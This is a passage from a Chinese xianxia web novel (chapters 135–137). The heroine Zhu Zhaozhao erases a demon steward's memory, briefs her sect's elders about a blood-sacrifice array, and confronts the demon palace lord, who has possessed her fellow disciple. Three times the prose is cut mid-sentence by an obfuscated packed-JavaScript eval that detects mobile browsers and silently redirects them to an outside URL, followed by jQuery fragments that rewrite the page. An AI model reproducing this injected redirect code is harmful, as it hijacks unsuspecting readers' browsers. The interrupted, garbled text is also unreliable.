视凌青疯狂的挣扎为无物,带着些微挑衅意味地,祝昭昭张开拳头—— * 片刻后,祝昭昭抱臂斜倚树旁,冷眼瞧着202扫描地上的人。 “好了,他有关刚才的记忆已经清干净了。” 从地上飞回祝昭昭身旁,202不忘叨叨两句:“不过主人你也真是的,干嘛没事突然嘲讽这家伙,还告诉他那么多有的没的。” “你看他刚才那脸色,气得跟要吃人似的。多吓人啊。” 摩挲着不知何时摸出来的人偶,祝昭昭垂眸:“我乐意。” 202被噎得半天才吭声:“……幼稚。” “算了算了,说正事。” 拿油盐不进的祝昭昭没辙,202干脆专心看路线图:“根据主人你刚才录入的信息来看,抄近道去镜水涧最少都要两小时。” “咱们什么时候过去?” 祝昭昭眼皮都不抬:“不过去。” “啊?” 202傻了:“为什么?” 祝昭昭斜睨它:“因为我不喜欢在别人眼皮底下做事。” “那主人你是想……” “去黑山。” 202不解:“黑山?” “对。” 祝昭昭颔首:“去那边,才有缓冲休整的时间。” “缓冲休整……”202眨眨眼,“是主人你需要吗?” 抿唇,祝昭昭沉默。 “而且黑山离这里很远诶,” 202于是转移话题:“主人你速度再快,到那边天也黑了。” “那就黑。” 一把捏紧掌心人偶,祝昭昭起身,几步走到凌青边上:“慕行秋将被夺舍的事总之已成定局,那么与其去魔宫范围内的镜水涧打开空间,还不如去黑山。” “至少黑山是我们亲手探测出来,还离魔宫更远,更安全的位置。” “好吧。”202也被祝昭昭说服,“那我们现在出发?” “对。” 祝昭昭边说,边将一枚法印按进凌青额心:“我们现在就出发。” 做完她转身,朝着魔宫之外的方向走。 “主人你刚才,是给那个管家下了什么恐怖禁制吗? 202越说越怕:“比如定在某天让他自己自刎什么的……” “不是。” 祝昭昭死鱼眼:“只是让他每天晚上都会全身真空梦游奔跑的小言灵而已。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387414|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>处理器当场重新连接的202:……? 全身真空? 梦游奔跑? 小言灵? 这是能组合在一起的词吗?? 终于反应过来的202:呐喊·jpg 它震撼的视线不断在祝昭昭和渐渐远离的躺尸凌青身上来回切换:“不是……这……” “没事。” 祝昭昭会意:“效期不长,三个月而已。” 202:而已?? 祝昭昭贴心再补充:“并且言灵是其他位面的存在,不会被发现。” “我办事,你放心。” 202彻底绷不住了。 不是,到底谁会放心啊?!! 谁来看看它的主人到底怎么了啊?!! * 到达黑山的时候,已经是申时末。 “就在这里就在这里。” 202停在定位地点直嚷嚷:“主人你快过来。” 掏着耳朵走过去,祝昭昭不耐烦:“催什么,几步路的事。” “话不能这么说,” 202不服:“时间很宝贵的好吗,要是能尽早把帮手们叫过来,我们的任务不就能完成得更稳妥了?” “好好好。” 停在202身旁,祝昭昭从储物袋召出一支符笔:“你说得都对。” “那是。”202得意。 没再搭理它,祝昭昭快速找准定位,开始动笔。 另一边,202盯她动作半天,突然‘咦’了一下。 紧接着问:“主人你这个,好像有点不对啊。” 笔下灵纹如飞,祝昭昭头也不抬:“什么不对。” “阵法不对。” 荧光绿的光幕照得202也绿幽幽的:“主人你这个阵法好像比管家那个阵法,要复杂得多吧?” 祝昭昭‘呵’一声,侃它:“你眼神不错。” “这肯定……等会儿不对,”202急了,“主人你转移话题!” “我没。” “那你告诉我,为什么你的阵法和管家的不一样!” “因为……” 专注盯着笔下阵法,祝昭昭任由鬓角汗珠滑下。 “这个阵法多功能。” 下一秒,她高扬起手。 符笔挥出利落光弧,填上阵法最后一笔。 202见状大惊:“主人,你还没用上大反派的静音人偶!!” 它晚了一步,成型的阵法亮起耀眼光芒。 202急得到处乱瞟,生怕有人听见这边的响动:“哎呀主人你糊……” 裂开的缝隙里忽然传来询问声,打断了它的话—— “昭昭?” 发紧的胸口逐渐无法忽视,祝昭昭暗暗捏紧手中符笔。 再极轻地喘了口气:“我在。” 她的掩饰显然不完美。 因为旋即,香风卷入她鼻间,紧接着,一道青色身影落在她面前。 是许久不见的天玄山二长老,苏青鱼。 “昭昭,你怎么了?!” 肩膀两边被苏青鱼纤细的手握住,祝昭昭还来不及反应,整个人已经被她抱进怀里。 再听见头顶传来的,焦急的声音:“灵力耗尽,气力全失……” “你怎么会变得如此虚弱?!” 祝昭昭张嘴刚想说话,便立刻感觉嘴里多了什么。 “快快,你快吃了这些能恢复灵力与气血的丹药。” 清甜滋味后知后觉在嘴里扩散,祝昭昭躺在苏青鱼怀里,声音因为嚼丹药含糊不清:“谢谢二长老。” “谢什么呀!” 苏青鱼好笑又心疼:“那么久不联系我们,好不容易看到你的传讯,结果是在魔界。” “你就是这么下山学技艺的?” 祝昭昭也被她逗笑了:“嗯……事出有因嘛。” “因什么因!” 苏青鱼捏着她鼻子轻轻摇了摇:“胡闹。” 磨蹭了会儿才从苏青鱼怀里起身,祝昭昭回归正题:“二长老,您应该不是独自一人前来吧?” “嗯。”苏青鱼颔首。 祝昭昭:“所以和您一同前来的是哪位剑宗长老?” “我通知的不是长老。”出乎预料地,苏青鱼摇摇头。 再朝旁移开一步。 掌筠哭唧唧的身影随即显露而出:“昭昭!” “洛水镇后这么久都没有你们的消息,担心死我了。” 他说着,小跑到祝昭昭跟前求抱抱,接着就被苏青鱼五指扣住脑袋,强行调转了方向。 边不满地撅起嘴,他边四处张望。 继而很快皱起眉头:“奇怪。” “我怎么没看到行秋?” 135. “是的,我本就要带他回来。”^…… 空气安静了一下。 祝昭昭的话音落进风里:“……他在魔宫。” 掌筠闻言微怔。 很快眯起眼,他再次确认:“行秋在魔宫?” “嗯。” 拳头不自觉攥紧,祝昭昭感受着符笔身上的纹路:“这也是我这次冒险打开空间通道,传讯于二长老的原因。” 迎着两人静待下文的目光,祝昭昭快速把在魔界这段日子发生的事,大概说了一遍。 “所以昭昭你的意思是……” 掌筠背起手:“魔族的人在魔界设下了阵法,意图摧毁守魔界,攻入修行界。” 条件反射般地,祝昭昭本想点头。 然而视线无意间落在地上灵草,她话到嘴边却改了口:“是魔宫。” “我从凌青身上看到的,关于摧毁守魔界的谋划,全部来源于魔宫的人。” 察觉到祝昭昭刚才的片刻游移但不点明,掌筠颔首:“如此。” “而且……”说着声音忽弱,祝昭昭抿唇。 掌筠当然瞧见了她刚才望向自己时的犹豫目光:“昭昭,你但说无妨。” 得到首肯,祝昭昭也就不客气了:“而且宗内五长老,长期与魔宫之人勾结,魔宫借此得到了许多关于修行界的消息。” “果然是他。” 怀疑多年的问题终于得到确认,掌筠叹气:“曾书虽修行上造诣颇深,性情却偏激深沉。” “我早就看出他对剑宗的规格礼法有许多不满,可为此,他甚至不惜与魔宫的乌合之众勾结……” 重重捏了捏眉心,掌筠没再多说。 祝昭昭也很识趣地停止深入话题:“我在魔宫时,阴差阳错听闻了此消息,也因此引来杀身之祸。” “所幸慕师兄出面替我解围,与那人对峙谈判,让其放我离开;又刻意找来魔宫总管凌青为我带路,以尽可能让我了解魔宫计划。” 听到这,苏青鱼环视一圈:“可现今,这地方只有昭昭你一个人不是吗?” “对。” 祝昭昭点点头:“因为凌青带我去的地方在魔宫里,而我们现在所在之地,是更早之前,我计划探寻所得。” “难怪……” 望着身旁一脸认真的小姑娘,苏青鱼眼底闪过赞赏:“那么凌青此人,你是如何处置的?” 掌筠闻言,想也不想:“小鱼儿你真是,身为魔宫总管,修为必然不低。昭昭还能如何处……” “我洗了他的记忆。” 掌筠愣住。 就连苏青鱼都一下没反应过来。 眨眨眼,她才回过神,半信半疑地试探再问:“昭昭你是说,你洗了魔宫总管的记忆?” “准确来说,” 祝昭昭补充:“是先与他交手一番,之后才洗了他的记忆,放他离开。” “接着赶到这,用从他记忆里拿到的特殊口诀,将空间通道打开。” 话音落,祝昭昭静静等着望向自己多时的掌筠开口。 轻触结界的手收回,掌筠很快道:“我见你手上捏着符笔。” “所以这个结界,是你亲手刻画的。” 他语气里没有半分疑问之意,祝昭昭也就干脆承认:“是。” 得到确定答案,掌筠整个人一顿。 苏青鱼诧异挑眉:“你做什么那个反应?” “割裂空间的同时,兼具隔绝灵力波动与声响,” 掌筠抬眼的瞬间,有叶片落在结界上泛起涟漪:“而从此刻四周的静谧来看,灵力割裂空间的中途,力量没有从结界泄露出去半分。” “能做到这点的人,不管是对灵力的消耗还是掌控,都已经到了一种可怖的程度。” “小鱼儿你说,我为什么这个反应?” 长声感叹着,掌筠扭头看向苏青鱼:“你们天玄山专长卜算,善于术法战斗的好苗子,却净叫你们收得七七八八。” “真是……”他苦笑摇头。 见他那副‘暴殄天物’的架势,苏青鱼顿时嗤声:“卜算讲究顺应天时,不管善文善武,能选择来我们天玄山的,都是有缘之人。” “不然为什么那么多宗门,大家不去盾甲不去天音不去剑宗,偏偏扣开了我们天玄山的门呢?” 被说得哑然,掌筠只能以眼神‘反驳’苏青鱼。苏青鱼不甘示弱,也瞪回去。 最后谁也不服谁,两个人一起调转目光—— 祝昭昭顿时额角冒汗。 她有些迟疑:“……你们说得都对?” 掌筠失笑,苏青鱼也伸手,一把搂过祝昭昭:“哎呀辛苦我们昭昭了。” “那姓慕的小子也不懂帮帮你。”她嗔。 笑了笑,祝昭昭避开这个问题:“……总之,从众多散碎消息中可以拼凑出,守魔界外部分宗门与散修,或多或少都有魔宫安插的奸细,或他们与魔宫勾结。” “而一方面,魔宫藉由这些消息,了解着修行界的情况;另一方面,他们也在时刻准备着冲破守魔界。” “他们以整个魔界为基础布下的阵法,便是证明。” 听到这,掌筠突然开口:“能攻破守魔界的阵法,世间流传不多;影响范围如此之大的,更是少数。” “既然昭昭你探查了凌青的记忆,那你可知,” “魔宫用的,是哪个阵法?” 空气安静下来。 察觉到怀中少女过于长久的沉默,苏青鱼低头。 这才发现少女脸上神色不知何时,已然变得严肃起来。 她于是也轻皱眉头:“昭昭?” “血引魔刹阵。” “什么?”在场两人皆是一愣。 抬起头,祝昭昭一字一句:“他们用的,是血引魔刹阵。” 听清祝昭昭话音的那刻,两人目光交汇。 也都在对方眼中,看见凝重之色。 抿紧唇,苏青鱼慎重确认:“昭昭你说的,是那个以吸纳阵中众人灵气精血开阵,所献祭之人越多,威力越大的那个……” “血引魔刹阵吗?” 祝昭昭看着她:“如果吸纳灵气精血的大型阵法只有它,” “那便是。” 得到这个答案,苏青鱼挫败闭眼,终于承认现实。 掌筠的脸色比苏青鱼更差几分:“血引魔刹阵作为吸纳灵气精血的阵法,其残忍血腥程度在众多阴邪阵法中,都算得上数一数二的罕见。” “为了突破守魔界,魔宫竟然宁愿以魔界众多子民性命作为代价……”苏青鱼喃喃,“如此行径,实在令人发指。” 飞快整理起记忆里关于此阵的信息,掌筠沉声:“此阵法可怕之处,不仅在于能吸纳灵气精血,更在于它的阵眼能够任意转移。” “也就是说,此阵法一旦开启,若魔宫的人配合得当,他们甚至可以用它来吸纳修行界众人的灵气精血……” 苏青鱼接过他话头:“不仅如此。” “据我所知,血引魔刹阵吸纳得到的灵气精血不止阵法可用。” “在秘法加持下,被阵法吸纳的灵气精血,甚至可以转移到某个人身上,为其提供不可估量的修为暴增。” 掌筠岂能不知道这是什么意思:“那么魔宫宫主……” 结界内,顷刻静得落针可闻。 直到苏青鱼再度开口:“没事的,因为如果阿月的卜算没错的话,现任魔宫宫主慕泽魈因升阶失败伤及根本,已经闭关修养多年。” “血引魔刹阵这种阵法吸纳的灵气精血能量暴戾,他若强行将之转移到自己身体,必会导致暴毙而亡。” 听到这,掌筠勉强放下心来:“如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399549|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那便还算有余地。” 在精神空间里围观的202看到这,彻底绷不住了。 ‘啧啧’两声,它装模作样地摇头:“要是这两位知道魔宫宫主这会儿,正在计划夺舍大反派,不知道还会不会是这个表情呢。” 叨叨着,202习惯性去看祝昭昭的反应。 紧接着就瞄见她嘴角隐约的冷笑。 它立马傻在原地。 “等等不对……” 呆呆眨了两下眼睛,它突然意识到了什么:“如果魔宫宫主夺舍大反派,成功得到健康的身体,岂不是意味着,阵法能量可以转移到大反派身上去?” “那加了BUFF的大反派,想毁掉位面,岂不是手到擒来……” 终于反应过来的202:呐喊·jpg 它在祝昭昭精神空间里的狂乱,当然无人知晓。 于是它只能继续围观—— 权衡再三,掌筠最终下了决断:“兹事体大。昭昭,你速速联系行秋让他回来,我们重新制定计划。” 202边听边惨叫着大声嚷嚷:“还回什么回,再不叫人去救,位面又得完蛋了好吗?!” “主人你赶紧跟他们说!现在说还来得及!” 祝昭昭完全不搭理精神空间里202大呼小叫的动静。 她只是朝掌筠颔首:“知道了。” “我本就准备去接他。” 惨叫戛然而止,202:…… 202:? 什么? 接大反派? 它的主人,刚才是说要去‘接’大反派吗? 接?? 瞪大眼,202终于戏精不下去了:“主人,现在大反派那里有多危险,你不知道吗??” “你之前明明说,你对大反派已经仁至义尽了。” “你不是要放弃他了吗??” 祝昭昭还是不搭理它。 202开始撒泼打滚:“主人你别去啊啊啊!你是不是吃错药了?!!” “快点理我,你快点理我啊啊啊!!” 不负它期望的,祝昭昭终于理了它。 用电击键理。 ‘处理’完202,她和两人拜别:“我去接慕师兄后,剩下的事,就劳烦您二位操心了。” 已经在催动传讯法器的两人甚至没时间答应她,只是朝她摆了摆手。 耸耸肩,祝昭昭转身。 苏青鱼的声音却突然自身后响起:“诶,昭昭。” 脚步一顿,祝昭昭循声扭头。 略微思忖片刻,苏青鱼道:“我突然想起来,我临走前,你师父托我给你带句话。” 祝昭昭有些意外:“什么话?” 苏青鱼努力回忆:“嗯,她说的是……” “‘你真的决定好了吗’?” 祝昭昭愣了一下。 两世十数年师徒间的默契,让她几乎立刻就明白过来,闵月说的是什么。 她卜算了自己徒弟的命运,也的确触摸到了某种可能性。 她是在问祝昭昭,真的确定要救慕行秋吗? 哪怕命运使然,在这样一个时刻,她没办法和祝昭昭面对面。 但她仍是将这个问题,通过苏青鱼,向祝昭昭问了出来。 她希望这件事,是祝昭昭发自本心愿意去做。 而不是被任何外力裹挟强迫着,催促祝昭昭去牺牲自己。 所以她再一次,向祝昭昭确认。 心头一阵暖意流淌,祝昭昭眉眼柔和下来:“是的,我决定好了。” 见祝昭昭甚至没怎么思考就给出回答,苏青鱼无奈摇头。 “真是的,你们师徒俩啊……” 她说着,脸上也多了些笑意:“那么她祝你,” “一路顺风。” 136. “主人你果然被大反派打动了!”…… 拜别苏青鱼和掌筠之后没走多远,祝昭昭在一处人迹罕至的地方停下脚步。 202还沉浸在祝昭昭突然变卦,要找回慕行秋的震撼里:“主人,你到底为什么一下子又要去找大反派啊?” 言简意赅的祝昭昭:“没有为什么。” 202跟没听到似的:“这和主人你一贯以来死道友不死贫道的人生信条,它符合吗??” 祝昭昭:…… 真是烦死了。 “死道友不死贫道的前提,是不影响我的利益。” 背起手,祝昭昭低头,边逛边伸出脚尖四处探:“既然你都知道一旦魔宫宫主夺舍慕行秋,会造成什么后果。” “为什么还在问我为什么要回魔宫找他?” “因为我总觉得……” 偷偷看她一眼,202对手指:“我总觉得主人你这些理由,很有故意找来搪塞我的嫌疑。” 祝昭昭顿了一下:“我搪塞你?” “对啊。”202点点头,“毕竟主人你很少无理由临时决定哪些事情嘛。” 它开始大思考:“从主人你回答剑宗宗主的速度来看,你显然在更早的时候,就决定好要回去找大反派。” “而不会是在得知阵法、魔宫宫主与大反派之间的利害关系之后,才决定要回去找大反派的。” 朝祝昭昭靠了靠近,202小心问:“我说得对不对?” 专心探地面的祝昭昭:…… “所以到底为什么嘛,” 没得到回答,202很不满意:“主人你到底为什么突然改主意,想回去捞大反派嘛?” “毕竟现在他的处境危险只多不少,我们过去,很可能会被拖下水的。” 实在被烦得不行,祝昭昭深呼吸:“我说,” “没有为什么。” 知道她开始不高兴了,202虽然不满意,也只能偷偷撅嘴:“好吧。” “我还以为主人你是因为刚才和管家打架的时候,被大反派最后那一手感动到,才改主意要捞他一把呢。” 祝昭昭原本正探向某处的脚尖,极轻地慢下一瞬。 但她掩饰得很好。 所以202完全没注意到:“不过想想也不太可能啦。” “毕竟感动不能当饭吃,主人你这种人,也不是会因为这点小事搭上自己的人嘛!” 它说完,自己先笑起来。精神空间里一时只剩下它‘哈哈哈哈’的无机质笑声回响。 祝昭昭:…… 所以她是哪种人? 因为不想听202啰嗦,祝昭昭最后没问出口。 一言不发地在某处地方站定,她蹲下身。 然后再次掏出符笔,开始在地面勾画。 自觉没劲的202发现她的动作,很快凑过去:“主人你画什么呢?” “咱们不是要去魔宫吗?” “是。”笔不停,祝昭昭应它,“我们确实是要去魔宫。” 202‘嘶’一声:“那主人你现在不出发,在地上画什么涂鸦呢?” 这会儿没心情和它插科打诨,祝昭昭直言不讳:“因为只有你觉得我这是在涂鸦。” “不是涂鸦是什么?” 202整颗球很做作地故意歪了歪:“后现代行为艺术?” 祝昭昭面无表情:“这个笑话很无聊。” 202:流泪猫猫头·jpg 见祝昭昭确实没功夫搭理自己,202干脆自己到处乱滚打发时间。 “所以主人你准备怎么去魔宫?” 它边滚边问:“如果有需要,你用法器或者本命剑当遮挡物掩盖一下,我开传送点送你过去也行。” “不用。” 祝昭昭拒绝了它:“我自己来就好。” 忍住嗤笑,202一句‘主人你怎么自己来’还没问出口,眼前突然一花。 下一秒,它整颗球已经出现在一处华美宫殿前。 202:? 谁能告诉它发生了什么? “好。” 身边传来拍拍手的声音,它猛转头—— 叉着腰,祝昭昭望着面前的宏伟宫殿:“就是这里了。” 魔宫宫殿?? 终于反应过来,202瞳孔地震:“我们就这么随随便便到了吗??” “可是怎么没有人把守啊?” 它到处乱看:“这么大一个宫殿,居然不派人守着吗??” “大概是被刻意遣散了。” 比起大惊小怪的202,祝昭昭倒是满脸无所谓:“作为魔宫进攻修真界的底牌,慕泽魈夺舍这事应该是秘密进行的。” “否则一旦有人走漏风声,对他而言无疑是种不必要的麻烦。” 不可置信的202:“那魔宫那一大帮人,就这样把这座宫殿和他们的宫主扔在这了??” “你觉得呢?” 祝昭昭拇指朝旁边点了点。 顺着她手指的方向看过去,202‘哦’了一声。 原来有结界啊。 它就说嘛。 202:擦汗·jpg 也理解了祝昭昭画传送阵的原因:“难怪主人你自己动手画阵,有预知之眼打配合,闪现确实更安全点。” 祝昭昭的回答,是直接抬脚迈进宫殿。 空无一人。 “人呢?” 202先嚷嚷起来:“大反派在哪?夺舍他的宫主呢?” “怎么一个都没见到啊??” 目光依次在宫殿顶上四角逡巡,祝昭昭不耐烦地抽空回它:“在你的世界观里,重大仪式都是在客厅举行的是吗?” 被灵魂质问成哑巴,202支支吾吾半天。 终于小声逼逼:“嗯……” “生日派对难道不是在客厅举行的吗?” 祝昭昭:…… 所以生日派对是重大仪式吗? 而且你一个系统,举行什么生日派对? 庆祝出厂日期是吗? “生日派对是不是仪式我不知道。” 指尖快速掐了个诀,祝昭昭掌心一瞬亮起白光:“不过你确实提醒了我。” “上个任务结束后的休息期,你果然叫了一帮系统在我休息室乱玩。” 祝昭昭冷哼:“开派对,是吗?” 202惊恐:“我明明都黑进监控了消除记录了,主人你怎么知道的!” “你别管我怎么知道。” 抬手,朝空气虚虚拂过,祝昭昭看着随她动作亮起的道道金线:“你只需要知道,任务结束后,你给我等着。” 202:呐喊·jpg 金线纵横交错,祝昭昭移开手便消失。 然而不用想都知道,这些金线必定遍布整个空间。 它们笼罩着这座无人宫殿。 它们是这座无人宫殿的第二道防线。 思忖着,祝昭昭随手捻了根头发,朝前方轻吹口气。 下一秒,头发利落断成数截,飘散落地。 “什么隐形割草机啊?!!”202大叫。 目光从碎发处收回,祝昭昭沉默抬眼。 满殿入目只有黑红二色。四角八方,刻着各色魔兽的立柱直通最顶;而殿内主位上方,高悬的巨大魔宫宫纹,仿佛要将一切下位所立之人吞噬。 明明有能力让金线封住整座宫殿,却故意留下门口这点空间。 像是欢迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404133|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来者,更像是请君入瓮。 眼微眯,祝昭昭盯着那黑红宫纹,语气意味深长:“很嚣张的挑衅啊……” “反派不挑衅,等于工作不到位。” 投射出的光幕,清晰映出祝昭昭周身细密交缠的金线,202叨叨:“所以别废话了主人,剪刀掏出来,把它们全剪了。” “给那什劳子宫主看看你的厉害。” 对202的暴力建议不置可否,祝昭昭拉长语调:“剪刀开路是很好,不过……” 说着,她抬手,慢条斯理地抚上身侧金线。 202见状,顿时急得‘诶’了一声:“主人你手不想要——” 下一秒,忽然有淡色灵火自祝昭昭指尖燃起,再流泻至金线之上。 202顿时惊呼:“主人cos打火机啦!” 懒得和它废话,祝昭昭直接按下熟悉的电击键。 再慢悠悠开口:“我倒是觉得,比起剪刀不停地到处剪,这一劳永逸的方法,似乎更好。” 噼啪闪电光的202:主人说得对。 灵火蔓延得极快。只眨眼,便有更多丝缕烟气顺着金线飘散而出。 而讽刺的是,金线那本是为了绞杀来客而存在的细密交缠特性,此刻却成为了将它毁灭的最佳推手。 几个呼吸间,灵火已经淹没金线。 祝昭昭笑得眉眼弯弯:“看,多方便。” 漫天火舌卷着薄烟,将整座宫殿燎得平添几分仙境之感;然而灵火烟气一色,加之没有焦糊味,如果不是金丝接连崩散,乍一看只会以为此情此景,是殿内那巨大香炉引发的结果。 早已关闭光幕,202抬起头张大嘴:“哇哦,好美的冒烟灯带。” 余光瞥见它的星星眼,祝昭昭捏了捏眉心。 不多时,随着最后一缕金线被灵火吞没,整座宫殿恢复了开始的寂静。 “好了。” 祝昭昭抬手打了个响指。 仿佛回应一般,原本漫无目的游弋在空气中的灵火,忽然纷纷朝她站着的地方而去。 无数星点灵火汇作一道,落在祝昭昭张开的掌心。 指尖不时撩拨着,灵火不断在她手周围聚了又散。 她却始终站在原地。 站到202都忍不住问:“主人,周围还有第三道防线吗?” 祝昭昭把玩灵火:“没了。” “那你还站在这干嘛?” 202惊讶又着急:“等魔宫宫主版大反派出来大杀四方,然后我们再重开第二次任务吗?” 祝昭昭面无表情地斜它一眼:“如果不是紧要关头,你信不信我现在就把你电关机了。” “信信信。” 干脆凑到灵火旁边,202嘻皮笑脸地找补:“但我也是为了任务着急嘛。” “毕竟主人你脚生根一样站在这,怎么救大反派对不对?” 操纵灵火给202镶了层边,祝昭昭垂眸看它。 “谁告诉你脚生根一样站在这,就不能救慕行秋?” 变成太阳花的202:“诶?” 被它一副傻样看得叹气,重新将灵火归作一簇,祝昭昭朝着某处扬声—— “还不出来么?” 没有回答。 “装听不见?” 并不意外,祝昭昭继续道:“再不出来,就别怪我不客气了。” “三。” 她倒数,掌心灵火也骤然波动起来。 “二。” 灵火伸展变幻,开始成形。 “一。” 倒数结束的刹那,灵火也化作短剑。 就在同一时刻,宫殿中忽然有声音凭空响起。 “昭昭?” 137. 你不是他 熟悉的声音,熟悉的语气。 就连那永远将情绪藏在平静面容里的习惯,与站立行走时的身形姿态,都一模一样。 202惊讶地看着自宫殿一角缓步而出的人:“是大反派来了!” “他看起来好正常,是夺舍仪式还没来得及开始吗?” 祝昭昭不回答。 只是静静望着朝自己这边过来的人。 “昭昭?” 见她不说话,慕行秋再度开口:“你怎么在这里。” “我不是让你回去了么。” 出乎预料地,祝昭昭摇头。 “不是。” 欲朝她靠近的脚步顿住,慕行秋脸上神情也变得有些意外:“你……” “而且不要那样叫我。” 祝昭昭眸光淡漠,一字一句:“我和你——” “不熟。” 不熟?? 视线快速在祝昭昭和慕行秋脸上来回切换,202有点懵:“为什么会不……” ‘熟’字一下咽了回去,恍然大悟的202瞳孔地震:“所以不熟的意思是——” 凝视祝昭昭片刻,‘慕行秋’脸上忽然多了丝笑意。 他淡声:“你很聪明。” “那么,” 脸上神情温和,他再度朝祝昭昭走近:“你能否告诉我,你是从何时起便已经发觉的?” “从你没出现的那一刻。” 没兴趣和他虚以委蛇,祝昭昭言简意赅:“还有,现在立刻给我出来。” “我不喜欢别人在我面前藏头露尾。” 202感觉自己已经和眼前的场景彻底脱节了。 什么叫‘立刻给我出来’?? 人不是在这里吗?? 还越走越近了不是?? 哪怕早就一脑门的问号,这会儿也不敢多问,它想了想,转而去看‘慕行秋’。 依旧微笑着,慕泽魈静静望着祝昭昭。 祝昭昭并不意外他的反应。 她神情之平静,像是早就预料到这个结果。 面对慕泽魈的沉默,祝昭昭给出了她的回答。 身旁灵火化作的匕首飞/射而出。 耳侧发丝被气流带起又落下的刹那,破碎之声也响彻寂静宫殿。 伴随破碎声一同消失的,还有慕泽魈的身影。 “等等,那个宫主就这么没了??” 202犹不敢信:“那大反派怎么办??” “不怎么办。” 祝昭昭面如平湖:“你再看。” 下一秒,殿中平地起风,悬挂四周的帷幔纷扬乱舞。 而帷幔归于平静之时,慕泽魈的身影也重回殿中。 只是此刻的他,似乎没了刚开始的自如。 “你好像不太高兴。” 望着慕泽魈微沉的脸色,祝昭昭好心情地弯起唇角:“说说看,刚才被打碎的是什么?” “应该不是你们特意设下的结界,对吗?” 似挑衅地,她话音轻慢:“本源结界被打碎的感觉如何?” 静静盯着祝昭昭,慕泽魈不答。 祝昭昭也不觉得他会答。 脸上笑意缓缓收敛,她神情睥睨:“我说过。” “我不喜欢别人在我面前藏头露尾。” “所以下次我说什么,记得听好。” 祝昭昭话音落下的瞬间,慕泽魈忽然再度弯起眉眼。 “视我魔宫两道防线于无物,甚至破我本源结界,如入无人之境。” “天玄山圣女果然名不虚传。” 他背起手:“只是不知您费尽周张来此……” “究竟有何贵干?” 祝昭昭看着他,只给了两个字:“要人。” “哦?” 像是听见什么有意思的事,慕泽魈问:“但据我所知,魔宫里,似乎没有圣女你该要的人。” “是么。” 祝昭昭淡声:“可我却觉得,那人,该是我要的。” 空气落针可闻。 再被慕泽魈轻笑打破:“圣女有所不知。” “能留在我魔宫者,皆是对我魔宫忠心耿耿之人。” 他拉长话音:“而圣女身为名门正派,想在我魔宫找该要之人……” “怕是要败兴而归。” 祝昭昭抬手拨弄返回的灵火:“宫主此言差矣。” “需知万事万物皆难非黑即白,你魔宫能在修行界安插奸细……” “焉知魔宫内,又绝无别有二心之人?” 话音落,祝昭昭眸光轻抬。 径直对上慕泽魈黑沉下来的双眼。 暗流无声在两人中涌动。 逐渐窒息的气氛,最终以慕泽魈的轻笑结束。 他颔首,语调淡淡:“圣女玲珑心思,慕某佩服。” “只是圣女是不是忘了,归根结底,此处还是魔界。” 说着抬起手,道道灵力开始在慕泽魈周身汇集:“你在魔界逞口舌之快,” “不怕埋骨于此?” 他话音落下的的瞬间,周身灵力也四散汇入宫殿。 光芒刹那亮起。 破碎的本源结界恢复如初。 而结界发出的光芒映亮整座宫殿的同时,也映亮了慕泽魈眼底的危险意味。 “埋骨之地?” 祝昭昭歪头,轻轻点了点面颊:“宫主的言辞还真叫昭昭心惊。” “不过比起在此埋骨的可能,昭昭却更担心另一件事。” 慕泽魈神情微动。 将他反应看在眼里,祝昭昭扭头望向一旁的帷幔:“宫主方才显露的通天手段虽令人震撼,但如此神乎其技,需要付出的代价想必也惊人罢?” “例如灵力的消耗……” 抿起唇,祝昭昭刻意不再继续往下说。 再开口,她转了话题:“而以宫主如今化神中期的修为,却做到了抬手间恢复本源结界的地步。” “昭昭实在是为宫主的身体担心啊。” 望着眼前少女意味深长的笑容,有那么一瞬间,慕泽魈几乎快抑制不住想直接将她抹杀的冲动。 从没有人能让他感觉如此受制。 可念头闪动的刹那,脑海便紧跟着传来细密如针扎般的刺痛。 他险些控制不住这副来之不易的身体。 而眼前的少女仍紧盯着他。 哪怕在微笑,哪怕在交谈,哪怕此刻她已经将注意力放在了一旁层叠的帷幔之上…… 但他无比清楚。 这个少女。 这个来自天玄山,又迥异于天玄山那帮迂腐古板之人的,古怪的圣女。 从将他真身逼出来的那一刻起,就无时不刻在观察他。 观察他的神情,观察他的反应,只要交锋中他露出哪怕一点点破绽…… 都会立刻被这狡猾的少女抓住。 再给予致命一击。 所以他必须不动声色地稳住阵脚。 因为正如那少女所说的一般,他的境界跌落了,落到了化神后期。 夺舍的过程并不顺利,他付出了相当的代价,才堪堪控制住这副身体。 这是导致他境界跌落的原因。 也因此,他刚刚才试图用修复本源结界这一手段,来让她心生退意。 可这个少女竟然识破了他的心思。 还轻飘飘地点了出来。 